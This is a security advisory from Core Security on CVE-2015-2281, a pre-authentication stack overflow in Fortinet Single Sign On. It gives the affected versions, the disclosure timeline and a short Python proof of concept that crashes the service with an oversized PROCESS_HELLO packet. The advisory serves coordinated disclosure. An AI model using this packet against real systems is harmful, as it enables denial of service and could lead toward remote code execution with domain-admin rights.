1. Advisory Information
Title: Fortinet Single Sign On Stack Overflow
Advisory ID: CORE-2015-0006
Advisory URL: http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow
Date published: 2015-03-18
Date of last update: 2015-03-18
Vendors contacted: Fortinet
Release mode: Coordinated release
2. Vulnerability Information
Class: Stack-based Buffer Overflow [CWE-121]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2281
3. Vulnerability Description
Through Fortniet  "Single Sign On" or "Single User Sign On" users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory.
FSSO  monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed.
There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise.
4. Vulnerable packages
- FSSO Windows Active Directory 4.3.0161 (4.3.0151, 4.3.0129 were also tested and found vulnerable)
- FSSO Novell eDirectory 4.3.0161
Other versions are probably affected too, but they were not checked.
5. Vendor Information, Solutions and Workarounds
Core Security recommends those affected use third party software such as Sentinel  or EMET  that could help to prevent the exploitation of affected systems to some extent.
Fortinet published the following FortiGuard Bulletin: 
This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
[CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth).
Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible.
The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash:
TARGET_IP = "192.168.233.100"
message = "\x80\x01\x42\x42"
buff = "A"*248
buff += "B" * (0xfffff - len(buff))
payload = struct.pack(">I", 0x000fffff) + message + buff
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff_recv = s.recv(6000)
8. Report Timeline
2015-01-07: Core Security notifies Fortinet of the vulnerabilities. Publication date is set for February 2nd, 2015.
2015-01-09: Fortinet requests a copy of the advisory draft.
2015-01-09: Core Security sends a draft copy of the advisory to the vendor.
2015-01-14: Fortinet informs they are in the process of validating the report and asks if we want to commit to responsible disclosure.
2015-01-14: Core Security informs the vendor that our policy is to publish our findings in order to help the users to gain awareness of the issues and therefore allowing them to take the necessary precautions to protect themselves. We informed them that we always try to release our findings in a coordinate manner provided that the time the vendor takes to test and fix the issue is reasonable and the publication of this solution and our disclosure is agreed between the two parties.
2015-01-21: Core Security asks the vendor if they were able to review the vulnerabilities and a tentative date for publishing the fix and consequently the advisory.
2015-01-27: Fortinet acknowledges the vulnerabilities and informs that a fix of the source code is in order. The say they'll keep us updated regarding the release schedule.
2015-02-24: Fortinet informed us that the current ETA was the first week of March, but that it could be changed depending on their engineering load.
2015-02-24: Core Security requested a specific date considering that the first week of March was next week.
2015-02-27: Fortinet informed us that they currently don't have a fixed date. Additionally they sent us the link where their FortiGuard Bulletin is going to be published. They requested the CVE ID we are going to assign this issue.
2015-03-05: Core Security informs Fortinet that we still don´t have a CVE ID to share with them because we haven't received one from Mitre yet.
2015-03-05: Fortinet informed us that they were discussing when they were going to release the fix/update, and that they will provide us an ETA tomorrow.
2015-03-06: Fortinet informed us that their new ETA is March 11th, 2015. They clarify this is not a fixed date.
2015-03-11: Fortinet informed us that they postponed to the end of the week or next week the ETA of FortiOS 5.2.3.
2015-03-13: Core Security asks Fortinet about the status of the ETA for the fix/update. Additionally we recommended not to release it on a Friday in order to give the affected users the required time to apply the fix.
2015-03-16: Core Security asks Fortinet if they could send us their estimated ETA for the fix/update.
2015-03-16: Fortinet informed us that the current ETA is March 17th or March 18th.
2015-03-18: Advisory CORE-2015-0006 published.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
11. About Core Security
Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.